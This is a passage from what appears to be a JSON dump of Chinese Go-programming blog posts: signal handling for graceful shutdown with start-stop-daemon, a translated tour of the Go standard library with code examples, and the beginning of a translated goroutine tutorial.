href=\"http://en.wikipedia.org/wiki/Language_interoperability\"\u003eInteroperability\u003c/a\u003e)方面，Go更是提供了强大的支持。尤其是在Go中使用C，你甚至可以直接在Go源文件中编写C代码，这是其他语言所无法望其项背的。\u003c/p\u003e\n\u003cp\u003e在如下一些场景中，可能会涉及到Go与C的互操作：\u003c/p\u003e\n\u003cp\u003e1、提升局部代码性能时，用C替换一些Go代码。C之于Go，好比汇编之于C。\u003c/p\u003e\n\u003cp\u003e2、嫌Go内存GC性能不足，自己手动管理应用内存。\u003c/p\u003e","title":"Go与C语言的互操作"},{"content":"我们在生产环境下运行的系统要求优雅退出，即程序接收退出通知后，会有机会先执行一段清理代码，将收尾工作做完后再真正退出。我们采用系统Signal来 通知系统退出，即kill pragram-pid。我们在程序中针对一些系统信号设置了处理函数，当收到信号后，会执行相关清理程序或通知各个子进程做自清理。kill -9强制杀掉程序是不能被接受的，那样会导致某些处理过程被强制中断，留下无法恢复的现场，导致消息被破坏，影响下次系统启动运行。\n最近用Golang实现的一个代理程序也需要优雅退出，因此我尝试了解了一下Golang中对系统Signal的处理方式，这里和大家分享。Golang 的系统信号处理主要涉及os包、os.signal包以及syscall包。其中最主要的函数是signal包中的Notify函数：\nfunc Notify(c chan\u0026lt;- os.Signal, sig …os.Signal)\n该函数会将进程收到的系统Signal转发给channel c。转发哪些信号由该函数的可变参数决定，如果你没有传入sig参数，那么Notify会将系统收到的所有信号转发给c。如果你像下面这样调用Notify：\nsignal.Notify(c, syscall.SIGINT, syscall.SIGUSR1, syscall.SIGUSR2)\n则Go只会关注你传入的Signal类型，其他Signal将会按照默认方式处理，大多都是进程退出。因此你需要在Notify中传入你要关注和处理的Signal类型，也就是拦截它们，提供自定义处理函数来改变它们的行为。\n下面是一个较为完整的例子：\n//signal.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nimport \u0026ldquo;time\u0026rdquo;\nimport \u0026ldquo;os\u0026rdquo;\nimport \u0026ldquo;os/signal\u0026rdquo;\nimport \u0026ldquo;syscall\u0026rdquo;\ntype signalHandler func(s os.Signal, arg interface{})\ntype signalSet struct {\nm map[os.Signal]signalHandler\n}\nfunc signalSetNew()(*signalSet){\nss := new(signalSet)\nss.m = make(map[os.Signal]signalHandler)\nreturn ss\n}\nfunc (set *signalSet) register(s os.Signal, handler signalHandler) {\nif _, found := set.m[s]; !found {\nset.m[s] = handler\n}\n}\nfunc (set *signalSet) handle(sig os.Signal, arg interface{})(err error) {\nif _, found := set.m[sig]; found {\nset.m[sig](sig, arg)\nreturn nil\n} else {\nreturn fmt.Errorf(\u0026ldquo;No handler available for signal %v\u0026rdquo;, sig)\n}\npanic(\u0026ldquo;won\u0026rsquo;t reach here\u0026rdquo;)\n}\nfunc main() {\ngo sysSignalHandleDemo()\ntime.Sleep(time.Hour) // make the main goroutine wait!\n}\nfunc sysSignalHandleDemo() {\nss := signalSetNew()\nhandler := func(s os.Signal, arg interface{}) {\nfmt.Printf(\u0026ldquo;handle signal: %v\\n\u0026rdquo;, s)\n}\nss.register(syscall.SIGINT, handler)\nss.register(syscall.SIGUSR1, handler)\nss.register(syscall.SIGUSR2, handler)\nfor {\nc := make(chan os.Signal)\nvar sigs []os.Signal\nfor sig := range ss.m {\nsigs = append(sigs, sig)\n}\nsignal.Notify(c)\nsig := \u0026lt;-c\nerr := ss.handle(sig, nil)\nif (err != nil) {\nfmt.Printf(\u0026ldquo;unknown signal received: %v\\n\u0026rdquo;, sig)\nos.Exit(1)\n}\n}\n}\n上例中Notify函数只有一个参数，没有传入要关注的sig，因此程序会将收到的所有类型Signal都转发到channel c中。build该源文件并执行程序：\n$\u0026gt; go build signal.go\n$\u0026gt; signal\n在另外一个窗口下执行如下命令：\n$\u0026gt; ps -ef|grep signal\ntonybai 25271 1087 0 16:27 pts/1 00:00:00 signal\n$\u0026gt; kill -n 2 25271\n$\u0026gt; kill -n 12 25271\n$\u0026gt; kill 25271\n我们在第一个窗口会看到如下输出：\n$\u0026gt; signal\nhandle signal: interrupt\nhandle signal: user defined signal 2\nunknown signal received: terminated\n在sysSignalHandleDemo中我们也可以为Notify传入我们所关注的Signal集合：\nsignal.Notify(c, sigs…)\n这样只有在该集合中的信号我们才能捕获，收到未在集合中的信号时，程序多直接退出。上面只是一个Demo，只是说明了我们可以捕捉到我们所关注的信号，并未体现程序如何优雅退出，不同程序的退出方式不同，这里没有通用方法，就不细说了，你的程序需要你专门的设计。\n另外我们生产环境下的程序多是以Daemon守护进程的形式运行的。我们用C实现的程序多参考“Unix高级编程”中的方法将程序转为Daemon Process，但在Go中目前尚提供相关方式，网上有一些实现，但据说都不理想。更多的Go开发者建议不要在代码中实现Daemon转换，建议直接利用 第三方工具。比如在Ubuntu下我们可以使用start-stop-daemon这个小程序轻松将你的程序转换为Daemon：\n$\u0026gt; start-stop-daemon –start –pidfile ./signal.pid –startas /home/tonybai/test/go/signal –background -m\n$\u0026gt; start-stop-daemon –stop –pidfile ./signal.pid –startas /home/tonybai/test/go/signal\n这里注意：只有加上-m选项，pidfile才能成功创建。\nstart-stop-daemon在Debian系的Linux发行版中都是默认自带的。但在Redhat系Linux发行版中却没有该工具，我们可以自行安装：\nwget -c http://developer.axis.com/download/distribution/apps-sys-utils-start-stop-daemon-IR1_9_18-2.tar.gz\ntar -xzf apps-sys-utils-start-stop-daemon-IR1_9_18-2.tar.gz\ncd apps/sys-utils/start-stop-daemon-IR1_9_18-2\ngcc start-stop-daemon.c -o start-stop-daemon\n切换到root下\ncp start-stop-daemon /sbin/\nchmod +x /sbin/start-stop-daemon\n另外Go 1.0.2提供的二进制安装包直接在Redhat 5.6(Linux tonybai 2.6.18-238.el5 #1 SMP Sun Dec 19 14:22:44 EST 2010 x86_64 x86_64 x86_64 GNU/Linux)下面运行出错，提示无法找到GLIBC 2.7版本。目前解决这一问题的方法似乎只有从源码编译安装。进入到$GOROOT/src下，执行./all.bash即可。重现编译链接后的go可执 行程序则运行一切正常。\n","permalink":"https://tonybai.com/2012/09/21/signal-handling-in-go/","summary":"\u003cp\u003e我们在生产环境下运行的系统要求优雅退出，即程序接收退出通知后，会有机会先执行一段清理代码，将收尾工作做完后再真正退出。我们采用系统Signal来 通知系统退出，即kill pragram-pid。我们在程序中针对一些系统信号设置了处理函数，当收到信号后，会执行相关清理程序或通知各个子进程做自清理。kill -9强制杀掉程序是不能被接受的，那样会导致某些处理过程被强制中断，留下无法恢复的现场，导致消息被破坏，影响下次系统启动运行。\u003c/p\u003e","title":"Go中的系统Signal处理"},{"content":"本文翻译自Dr.Dobb\u0026rsquo;s的\u0026quot;A Brief Tour of the Go Standard Library\u0026ldquo;一文。\n在Go语言五周系列教程的最后一部分中，我们将带领大家一起来浏览一下Go语言丰富的标准库。\nGo标准库包含了大量包，提供了丰富广泛的功能特性。这里提供了概览仅仅是有选择性的且非常简单。本文发表后，标准库的内容还可能继续增加，因此 建议大家最好是通过在线查阅库API或使用godoc（包含在Go发布包中）来获取最新信息以及全面了解每个包所具备的功能。\nexp包(试验性的)是那些未来可能被加入标准库的包起步的地方，因此除非你想参加这些包的开发(通过测试、讨论、提交补丁)，否则不应该使用其 下面的包。exp包通常只存在于从Google Go源码树上签出的源码包中，但一般不会包含在预构建好的包中。其他包可以放心使用，虽然在写下本文的这一刻，很多包依旧不够完整。\nArchive(归档)和Compression(压缩)包\nGo支持读写tarball和.zip文件。与此相关的包为archive/tar和archive/zip；以及用于压缩tarball的 compress/gzip和compress/bzip2。\nGo同样也支持其他压缩格式；例如用于TIFF图像和PDF文件的Lempel-Ziv-Welch (compress/lzw)格式。\nBytes(字节)和String(字符串)相关包\nbytes和strings包中有很多相同的函数，但前者操作的是[]byte类型的值，而后者操作的是string类型的值。strings包 提供了所有最有用的功能函数，诸如查找子字符串、替换子字符串、拆分字符串、剔除字符串以及大小写变换等。strconv包提供了数字和布尔类型 与string类型相互转换的功能。\nfmt包提供了大量有用的print和scan函数，它们在本系列教程的第一和第二部分已有相关介绍。\nunicode包提供一些用于确定字符属性的函数，诸如判断一个字符是否是可打印的，或是否是一个数字。unicode/utf8与 unicode/utf16这两个包提供了rune(即，Unicode码点/字符)的编码和解码功能。\ntext/template和html/template包可以被用于创建模板，这些模板可基于填入的数据生成文本形式的输出(例如HTML)。 这里是一个小且简单的有关text/template包使用的例子。\ntype GiniIndex struct {\nCountry string\nIndex float64\n}\ngini := []GiniIndex{{\u0026ldquo;Japan\u0026rdquo;, 54.7}, {\u0026ldquo;China\u0026rdquo;, 55.0}, {\u0026ldquo;U.S.A.\u0026rdquo;, 80.1}}\nginiTable := template.New(\u0026ldquo;giniTable\u0026rdquo;)\nginiTable.Parse(\n\u0026lsquo;\u0026rsquo; +\n\u0026lsquo;{{range .}}\u0026rsquo; +\n\u0026lsquo;{{printf \u0026ldquo;%s%.1f%\u0026rdquo;\u0026rsquo; +\n\u0026lsquo;.Country .Index}}\u0026rsquo;+\n\u0026lsquo;{{end}}\u0026rsquo; +\n\u0026lsquo;\u0026rsquo;)\nerr := giniTable.Execute(os.Stdout, gini)\n输出：\nJapan54.7% China55.0% U.S.A.80.1% template.New()函数用给定的名字创建了一个新的template.Template。模板名字用于识别模板，尤其是嵌入在其他模板 中时。template.Template.Parse()函数用于解析一个模板(通常从一个.html文件中)，解析后模板即可用。 template.Template.Execute()函数执行这个模板，将结果输出到给定的io.Writer，并且从其第二个参数那里读取 用于生成模板的数据。在这个例子中，我将结果输出到os.Stdout，并将GiniIndex类型的gini切片作为数据传入(我将输出拆分为 多行以便让结果更加清晰)。\n在模板内部，行为(action)包含在双大括号中({{和}})。{{range}} … {{end}}可用于迭代访问一个切片中的每个元素。这里我将切片中的每个GiniIndex设置为点(.)；即是当前的元素。我们可以通过在名字访问导 出字段，当然名字前面需要用.来指明当前元素。{{printf}}的行为与fmt.Printf()函数类似，但用空格替换括号以及用于分隔参 数的逗号。\ntext/template和html/template包自身支持一种复杂的模板语言，包括许多action，迭代和条件分支，支持变量和方法 调用，以及其它一些。除此之外，html/templage包还对代码注入免疫。\n集合包\n切片是Go语言提供了最高效的集合类型，但有些时候使用一个更为特定的集合类型更有用或有必要。在多数情况下，内置的map类型已经足够了，但Go标准库还是提供了container包，其中包含了各种不同的集合包。\ncontainer/heap包提供了操作heap(堆)的函数，这里heap必须是一个自定义类型的值，该类型必须满足定义在heap包中 heap.Interface。一个heap(严格地说是一个min-heap)按特定顺序维护其中的值 – 即第一个元素总是heap中最小的（对于max-heap，应该是最大的）- 这就是熟知的heap属性。heap.Interface中嵌入了sort.Interface以及Push()和Pop方法。\n我们可以很容易地创建一个满足heap.Interface的自定义heap类型。下面是一个正在使用的heap的例子：\nints := \u0026amp;IntHeap{5, 1, 6, 7, 9, 8, 2, 4}\nheap.Init(ints) // Heapify\nints.Push(9) // IntHeap.Push() doesn\u0026rsquo;t preserve the heap property\nints.Push(7)\nints.Push(3)\nheap.Init(ints) // Must reheapify after heap-breaking changes\nfor ints.Len() \u0026gt; 0 {\nfmt.Printf(\u0026quot;%v \u0026ldquo;, heap.Pop(ints))\n}\nfmt.Println() // prints: 1 2 3 4 5 6 7 7 8 9 9\n下面是完整的自定义heap实现。\ntype IntHeap []int\nfunc (ints *IntHeap) Less(i, j int) bool {\nreturn (*ints)[i] \u0026lt; (*ints)[j]\n}\nfunc (ints *IntHeap) Swap(i, j int) {\n(*ints)[i], (*ints)[j] = (*ints)[j], (*ints)[i]\n}\nfunc (ints *IntHeap) Len() int {\nreturn len(*ints)\n}\nfunc (ints *IntHeap) Pop() interface{} {\nx := (*ints)[ints.Len()-1]\n*ints = (*ints)[:ints.Len()-1]\nreturn x\n}\nfunc (ints *IntHeap) Push(x interface{}) {\n*ints = append(*ints, x.(int))\n}\n对于多数情况这个实现都足以应付了。我们可以将IntHeap类型换为type IntHeap struct { ints []int}，这样代码更漂亮，我们可以在方法内部使用ints.ints，而不再是*ints了。\ncontainer/list包提供了双向链表。元素以interface{}类型的值加入链表。从链表中获取的元素的类型为list.Element，其原始值可通过list.Element.Value访问到。\nitems := list.New()\nfor _, x := range strings.Split(\u0026ldquo;ABCDEFGH\u0026rdquo;, \u0026ldquo;\u0026rdquo;) {\nitems.PushFront(x)\n}\nitems.PushBack(9)\nfor element := items.Front(); element != nil;\nelement = element.Next() {\nswitch value := element.Value.(type) {\ncase string:\nfmt.Printf(\u0026quot;%s \u0026ldquo;, value)\ncase int:\nfmt.Printf(\u0026quot;%d \u0026ldquo;, value)\n}\n}\nfmt.Println() // prints: H G F E D B A 9\n在这里例子中，我们将8个单字母字符串推入一个新链表的前端，将一个整型数推入尾端。接下来，我们迭代访问链表中的元素并打印元素的值。我们不是真的需要 type switch，因为我们可以使用fmt.Printf(%v \u0026ldquo;, element.Value)打印元素值，但如果我们要做的不仅仅是打印的话，如果列表中包含的元素类型不同，我们将需要type switch。当然，如果所有的元素都具有同一类型，我们可以使用type assertion，例如对string类型元素，我们使用element.Value.(string)。\n除了上述提到的方法之外，list.List类型还提供了其他许多方法，包括Back()，Init()（用于清理链 表），InsertAfter()，InsertBefore()，Len()，MoveToBack()，MoveToFront()，PushBackList() （用于将一个链表推入另外一个链表的尾端），以及Remove()。\n标准库还提供了container/ring包，这个包实现了一个环形链表。\n然而所有的集合类型都将数据存储在内存中，Go还提供了database/sql包，该包提供了一个通用的SQL数据库接口。当与真实数据库交互时，特定的数据库驱动包必须被单独安装。这些包，以及其他许多集合包都放在了Go Bashboard上。\n文件，操作系统以及相关包\n标准库提供了许多支持文件和目录操作以及与操作系统交互的包。在许多情况下，这些包提供了操作系统无关的抽象使得创建跨平台Go应用更为简单。\nos(操作系统)包提供了与操作系统交互相关的函数，诸如改变当前工作目录，修改文件模式和所有权，获取和设置环境变量，创建和删除文件和目录等。\n此外，该包还提供了创建和打开文件(os.Create()和os.Open())、获取文件属性(例如，通过os.FileInfo类型)，以及在之前系列文章中我们所见过的函数。\n一旦文件被打开，尤其是对于那些文本文件，通过一个buffer来访问该文件是非常常见的情况(将读取的行存入字符串而不是byte切片)。我们需要的这 个功能由bufio包提供。除了用bufio.Reader和bufio.Writer进行读写字符串外，我们还可以读(不读)rune，读(不读)单字 节，读多字节以及写rune和写单字节以及多字节。\nio(input/output)包提供了大量的函数用于与io.Reader和io.Writer一起工作(这两个接口都可以被os.File类型值满 足)。例如，我们曾用过io.Copy()函数将数据从一个reader拷贝到一个writer中。这个包还包含了用于创建同步的内存管道(pipe)的函数。\nio/iotuil包提供了一些非常易用的函数。其中，这个包提供的ioutil.ReadAll()函数用于读取一个io.Reader的所有数据，并 将数据放入一个[]byte中返回；ioutil.ReadFile()函数所做的事情类似，只是参数由一个io.Reader换成了一个字符串(文件 名)；ioutil.TempFile()函数返回一个临时文件(一个os.File)；ioutil.WriteFile()函数向一个给定名字的文件 中写入由[]byte承载的数据。\npath包提供的函数用于操作Unix样式路径，例如Linux和Mac OS X路径，用于处理URL路径，git“引用”，FTP文件等。path/filepath包提供提供了与path相同的函数- 许多其他的 – 函数被设计用于提供平台中立的路径处理。这个包还提供了filepath.Walk()函数用于递归地对给定路径下的所有文件和目录进行迭代访问。\nruntime包包含了许多函数和类型用于访问Go的运行时系统。这里面的大多数都是高级功能，在日常创建标准Go程序时不应该使用到这些功能。但是，一 些包中的常量可能十分有用 – 例如，字符串runtime.GOOS(其值例如，\u0026ldquo;darwin,\u0026rdquo; \u0026ldquo;freebsd,\u0026rdquo; \u0026ldquo;linux,\u0026rdquo; 或 \u0026ldquo;windows\u0026rdquo;)和字符串runtime.GOARCH(其值例如386,\u0026rdquo; \u0026ldquo;amd64,\u0026ldquo;或 \u0026ldquo;arm\u0026rdquo;)。runtime.GOROOT()函数返回GOROOT环境变量的值(或者如果该环境变量没有设置，返回Go构建根目 录)，runtime.Version()返回Go版本(以一个字符串形式)。runtime.GOMAXPROCS()和 runtime.NumCPU()函数保证Go使用机器的所有处理器，在Go的文档中有详尽解释。\n文件格式相关包\nGo提供出色的文件处理功能，既可用于文本文件(使用7-bit ASCII编码或UTF-8和UTF-16 Unicode编码），也可用于二进制文件。Go提供了专门的包，用于处理JSON和XML文件以及它自己专有的快速、简洁以及方便的Go二进制格式。此 外，Go提供了csv包用于读取CSV(逗号分隔的值)文件。这个包将这些文件视为记录(每行算作一个记录)，么个记录由多个(逗号分隔的)字段组成。这 个包用途非常广泛，例如，可以用它修改分隔符(从逗号改为tab或其他字符)，以及其他诸如如何读写记录和字段的方面。\nencoding包包含许多子包，其中的encoding/binary包我们曾用于读写二进制数据。其他包提供了针对各种格式的编解码功能 – 例如，encoding/base64包可以用于编码和解码我们日常常用的URL。\n图像相关包\nGo的image包提供了一些高层次的函数和类型，用于创建和持有图像数据。它还提供了一些包，可用于不同种类标准图像文件格式的编解码，例如image/jpeg和image/png。\nimage/draw包提供了一些基本的绘图函数。第三方的freetype包加入了更多绘图函数。freetype自身可以使用任意指定TrueType字体绘制文本，freetype/raster包可以绘制线条以及立方和二次曲线。\n数学包\nmath/big包提供了无限大(实际受限于内存)整型数(big.Int)以及有理数(big.Rat)。math包提供了所有标准数学函数(基于float64)以及一些标准常量。math/cmplx包提供一些用于复数计算的标准函数(基于complex128)。\n其他杂项包\n除了这些可以被粗略分组的包外，标准库还包含了许多相对独立的包。\ncrypto包提供了使用MD5, SHA-1, SHA-224, SHA-256, SHA-384以及SHA-512算法的Hash(每个算法由一个包提供，例如crypto/sha512)。此外，crypto还提供了用于加密和解密 的子包，这些包使用了不同算法，诸如AES、DES等等。每个包都对应相应的名字(例如，crypto/aes和crypto/des)。\nexec包用于运行外部程序。我们也可以使用os.StartProcess来完成这件事，但exec.Cmd类型用起来更加简单。\nflag包提供了一个命令行解析器。它接受X11风格的命令行选项(例如，-width，非GNU风格的-w以及–width)。这个包产生一个非常基 本的usage消息并且没有提供除值类型之外的任何校验(因此，这个包可以用于指定一个int型选项，而不是用于检查接受哪些值)。还有一些候选包可以在 Go Bashboard中找到。\nlog包提供了一些函数，用于记录日志信息(默认输出到os.Stdout)、结束程序或抛出异常(panick)并携带一条日志信息。log包输出目标 可以使用log.SetOutput()函数变更为任何io.Writer。日志信息以一个时间戳加后续消息的格式输出；时间戳的分割符可以在调用第一个 log函数之前通过log.SetFlags(0)设置。通过log.New()函数我们还可以创建自定义的logger。\nmath/rand包提供许多有用的伪随机数生成函数，包括返回一个随机整型数的rand.Int()以及rand.Intn(n)，后者返回[0,n]范围内的一个随机整数。crypto/rand包中有一个函数，可用于产生加密的强伪随机数字。regexp包提供快速且强大的正则式引擎，并支持RE2引擎的语法。\nsort包提供了许多方便易用的函数，用于对ints、float64以及string类型的切片进行排序，并且提供基于有序切片的高效(二分查找)的查找。它还提供了用于自定义数据的通用sort.Sort()和sort.Search函数。\ntime包提供了用于测量时间、解析和格式化日期，日期/时间以及时间值的函数。time.After()函数可用于在特定纳秒后，向通道 (channel)发送当前时间。time.Tick()和time.NewTicker()函数可用于提供一个通道，它会返回在特定时间间隔后将 \u0026rsquo;tick\u0026rsquo;发送到该通道上。time.Time结构具有一些方法，可提供当前时间，将data/time格式化为一个字符串以及解析data /time。\n网络包\nGo标准库中有许多包用于支持网络以及相关方面的编程。net包提供的函数和类型可用于使用Unix域以及网络socket通信、TCP/IP和UDP编程。\n这个包还提供了用于域名解析的函数。net/http包充分利用了net包，并提供了解析HTTP请求和应答的功能，并提供了一个基本的HTTP客户端。net/http包也包含一个易于扩展的HTTP server。net/url包提供了URL解析和查询转义。\n标准库中还包含其他一些其他高层次的网络包。一个是net/rpc(远程过程调用)包，它允许一个服务端提供导出可被客户端调用的方法的对象。另外一个是net/smtp(简单邮件传输协议)包，可用于发送email。\nReﬂect包\nreflect包提供了运行时反射(或称为自省)；即，在运行时访问和与任意类型的值交互的能力。\n这个包还提供了一些有用的工具函数，诸如reflect.DeepEqual()用于比较任意两个值 – 例如，切片，我们无法用==和!=操作符对其进行比较。\nGo中的每个值都有两个属性：它的实际值与类型。reflect.TypeOf()函数可以告诉我们任意值的类型。\nx := 8.6\ny := float32(2.5)\nfmt.Printf(\u0026ldquo;var x %v = %v\\n\u0026rdquo;, reflect.TypeOf(x), x)\nfmt.Printf(\u0026ldquo;var y %v = %v\\n\u0026rdquo;, reflect.TypeOf(y), y)\n输出\nvar x float64 = 8.6\nvar y float32 = 2.5\n这里我们使用reflection输出两个浮点变量和它们的类型，类似Go的变量声明。\n当将reflect.ValueOf函数用于一个值时，该函数返回一个reflect.Value，它持有值但它本身却不是那个值。如果我们想访问那个被持有的值，我们必须使用reflect.Value的一个方法。\nword := \u0026ldquo;Chameleon\u0026rdquo;\nvalue := reflect.ValueOf(word)\ntext := value.String()\nfmt.Println(text)\n输出：\nChameleon\nreflect.Value类型拥有很多可以提取底层类型的方法，包括 reflect.Value.Bool(), reflect.Value.Complex(), reflect.Value.Float(), reflect.Value.Int(),以及reflect.Value.String()。\nreflect包也可以与集合类型一起使用，比如切片和map，也可以与struct一起使用；它甚至可以访问结构体tag的文本（这种能力被用到了JSON和XML的编码和解码中）。\ntype Contact struct {\nName string \u0026ldquo;check:len(3,40)\u0026rdquo;\nId int \u0026ldquo;check:range(1,999999)\u0026rdquo;\n}\nperson := Contact{\u0026ldquo;Bjork\u0026rdquo;, 0xDEEDED}\npersonType := reflect.TypeOf(person)\nif nameField, ok := personType.FieldByName(\u0026ldquo;Name\u0026rdquo;); ok {\nfmt.Printf(\u0026quot;%q %q %q\\n\u0026rdquo;, nameField.Type, nameField.Name, nameField.Tag)\n}\n输出：\n\u0026ldquo;string\u0026rdquo; \u0026ldquo;Name\u0026rdquo; \u0026ldquo;check:len(3,40)\u0026rdquo;\nreflect.Value持有的真实值如果是\u0026quot;可设置的\u0026rdquo;，那么它可以被改变。是否具备可设置能力可以通过reflect.Value.CanSet()来获知，该函数返回一个布尔值。\npresidents := []string{\u0026ldquo;Obama\u0026rdquo;, \u0026ldquo;Bushy\u0026rdquo;, \u0026ldquo;Clinton\u0026rdquo;}\nsliceValue := reflect.ValueOf(presidents)\nvalue = sliceValue.Index(1)\nvalue.SetString(\u0026ldquo;Bush\u0026rdquo;)\nfmt.Println(presidents)\n输出：\n[Obama Bush Clinton]\n虽然Go的字符串是不可改变的，但给定[]string中的任意一个元素都可以被另外一个字符串所替代，这就是我们在这里所做的。(顺利成章地，在这个特定的例子中，最容易的修改方法应该是presidents[1] = \u0026ldquo;Bush\u0026rdquo;，而且完全没有用到自省特性)。\n你无法改变不可改变的值本身，但如果我们得到原值的地址，我们可以将原不可改变的值替换为另一个新值。\ncount := 1\nif value = reflect.ValueOf(count); value.CanSet() {\nvalue.SetInt(2) // 将抛出异常，我们不能设置int\n}\nfmt.Print(count, \u0026quot; \u0026ldquo;)\nvalue = reflect.ValueOf(\u0026amp;count)\n// 不能在值上调用SetInt()，因为值是一个*int，而不是一个int\npointee := value.Elem()\npointee.SetInt(3) // OK. 我们可以通过值指针替换\nfmt.Println(count)\n输出：\n1 3\n这小段代码的输出表明如果条件表达式求值结果为false，其分支语句将不会被执行。虽然我们无法重新设置那些不可改变的值，诸如ints、 float64或字符串，但我们可以使用reflect.Value.Elem()方法来获取一个reflectValue，通过它我们可以重新设置该地 址上的值，这就是我们在这段代码结尾处所做的。\n我们还可以使用反射来调用任意函数和方法。这里是一个例子，例子用两次调用了自定义函数TitleCase，一次是用传统的方式，一次则是用反射。\ncaption := \u0026ldquo;greg egan\u0026rsquo;s dark integers\u0026rdquo;\ntitle := TitleCase(caption)\nfmt.Println(title)\ntitleFuncValue := reflect.ValueOf(TitleCase)\nvalues := titleFuncValue.Call(\n[]reflect.Value{reflect.ValueOf(caption)})\ntitle = values[0].String()\nfmt.Println(title)\n输出：\nGreg Egan\u0026rsquo;s Dark Integers\nGreg Egan\u0026rsquo;s Dark Integers\nreflect.Value.Call()方法接受以及返回一个类型[]reflect.Value的切片。在这个例子中，我们传入一个单一值(作为一个长度为1的切片)，并获取到一个单一的结果值。\n我们可以用同样的方法调用方法 – 事实上，我们甚至可以查询一个方法是否存在，并且在它确实存在的情况下再调用它。\na := list.New() // a.Len() == 0\nb := list.New()\nb.PushFront(1) // b.Len() == 1\nc := stack.Stack{}\nc.Push(0.5)\nc.Push(1.5) // c.Len() == 2\nd := map[string]int{\u0026ldquo;A\u0026rdquo;: 1, \u0026ldquo;B\u0026rdquo;: 2, \u0026ldquo;C\u0026rdquo;: 3} // len(d) == 3\ne := \u0026ldquo;Four\u0026rdquo; // len(e) == 4\nf := []int{5, 0, 4, 1, 3} // len(f) == 5\nfmt.Println(Len(a), Len(b), Len(c), Len(d), Len(e), Len(f))\n输出：\n0 1 2 3 4 5\n这里我们创建了两个链表(使用container/list包)，我们给其中一个加入一个元素。我们还创建了一个stack，并向其中加入两个元素。我们 接下来创建了一个map，一个字符串以及一个int类型切片，它们长度各不相同。我们使用Len()函数获取了它们的长度。\nfunc Len(x interface{}) int {\nvalue := reflect.ValueOf(x)\nswitch reflect.TypeOf(x).Kind() {\ncase reflect.Array, reflect.Chan, reflect.Map,\nreflect.Slice, reflect.String:\nreturn value.Len()\ndefault:\nif method := value.MethodByName(\u0026ldquo;Len\u0026rdquo;); method.IsValid() {\nvalues := method.Call(nil)\nreturn int(values[0].Int())\n}\n}\npanic(fmt.Sprintf(\u0026rdquo;\u0026rsquo;%v\u0026rsquo; does not have a length\u0026rdquo;, x))\n}\n这个函数返回传入值的长度或当值类型不支持长度概念时引发异常。\n我们开始获得reflect.Value类型值，因为我们后续需要这个值。接下来我们根据reflect.Kind做switch判断。如果value的 kind是某支持内建len()函数的内建类型的话，我们可以在该值上直接调用reflect.Value.Len()函数。否则，我们要么得到一个不支 持长度概念的类型，要么是一个拥有Len()方法的类型。我们使用reflect.Value.MethodByName()方法来获取这个方法-或者获 取一个无效的reflect.Value。如果这个方法有效，我们就调用它。\n这个例子用没有任何参数传入，因为传统Len()方法不接收任何参数。当我们使用reflect.Value.MethodByName()方法获取一个 方法时，返回的reflect.Value既持有方法，又持有这个value。因此当我们调用reflect.Value.Call()时，这个 value将传入并作为接收者。\nreflect.Value.Int()方法返回一个int64类型值；我们这里已将其转换成一个普通的int以匹配通用的Len()函数的返回值类型。\n如果一个传入的值不支持内建的len()函数并且没有Len()方法，通用的Len()将引发异常。我们本可以采用其他方式处理这个错误情况 – 例如，返回-1一表明\u0026quot;不支持长度\u0026rdquo;，或返回一个整型值和一个错误码。\nGo的reflect包十分灵活，允许我们在运行时根据程序的动态状态做一些事情。但是，这里引用Rob Pike的观点，反射是“一个强大的工具，需谨慎并尽量避免使用，除非非常必要。(Rob Pick撰写了一篇非常有趣和实用的有关Go反射的博客文章)。\n结论\n这篇文章给Go语言五周系列教程做了一个收尾。此时此刻，你应该对这门语言，其工具以及它的标准库有了一个很好的感性认识了。- 甚至是如何在Google App Engine上编写Go程序以运行一个Web应用。我希望你能认可这一点：Go是一门非常有趣的语言，它提供了一种编写可移植的、本地代码的愉快的方式。\n","permalink":"https://tonybai.com/2012/09/08/a-brief-tour-of-go-standard-library/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"http://www.drdobbs.com/\"\u003eDr.Dobb\u0026rsquo;s\u003c/a\u003e的\u0026quot;\u003ca href=\"http://www.drdobbs.com/open-source/a-brief-tour-of-the-go-standard-library/240006639?pgno=1\"\u003eA Brief Tour of the Go Standard Library\u003c/a\u003e\u0026ldquo;一文。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e在\u003ca href=\"http://tonybai.com/2012/08/14/getting-going-with-go/\"\u003eGo语言五周系列教程\u003c/a\u003e的最后一部分中，我们将带领大家一起来浏览一下Go语言丰富的标准库。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eGo标准库包含了大量包，提供了丰富广泛的功能特性。这里提供了概览仅仅是有选择性的且非常简单。本文发表后，标准库的内容还可能继续增加，因此 建议大家最好是通过\u003ca href=\"http://golang.org/pkg/\"\u003e在线查阅库API\u003c/a\u003e或使用godoc（包含在Go发布包中）来获取最新信息以及全面了解每个包所具备的功能。\u003c/p\u003e","title":"Go语言标准库概览"},{"content":"本文译自Rob Pike的Go语言PPT教程 – \u0026ldquo;The Go Programming Language Part3(updated June 2011)\u0026quot;。由于该教程的最新更新时间早于Go 1版本发布，因此该PPT中的一些内容与Go 1语言规范略有差异，到时我会在相应的地方做上注解。\n第三部分大纲 并发与通信 Goroutines 通道(Channel) 并发相关话题 并发与通信：Goroutines Goroutines 术语：\n对于\u0026quot;并发运行的事物\u0026quot;已经有了好多术语 – 进程、线程、协程(coroutine)、POSIX线程、NPTL线程、轻量级进程…，但这些事物都或多或少有不同。并且Go中的并发与哪种都不甚相同。\n因此我们介绍一个新术语：goroutine。\n定义 一个Goroutine是一个与其他goroutines运行在同一地址空间的Go函数或方法。一个运行的程序由一个或更多个goroutine组成。\n它与线程、协程、进程等不同。它是一个goroutine。\n注意：Concurrency与Parallelism是不同的概念。如果你不了解它们的不同，查查相关资料吧。\n关于并发的问题有许多。我们后续会提及。现在就假设它能按其对外所宣称的那样正常工作吧。\n启动一个Goroutine 调用一个函数或方法，然后说go：\nfunc IsReady(what string, minutes int64) {\ntime.Sleep(minutes * 60*1e9) // Unit is nanosecs.\nfmt.Println(what, \u0026ldquo;is ready\u0026rdquo;)\n}\ngo IsReady(\u0026ldquo;tea\u0026rdquo;, 6)\ngo IsReady(\u0026ldquo;coffee\u0026rdquo;, 2)\nfmt.Println(\u0026ldquo;I\u0026rsquo;m waiting…\u0026rdquo;)\n打印：\nI\u0026rsquo;m waiting… (立即)\ncoffee is ready (2分钟后)\ntea is ready (6分钟后)\n一些简单的事实 goroutine的使用代价很低。 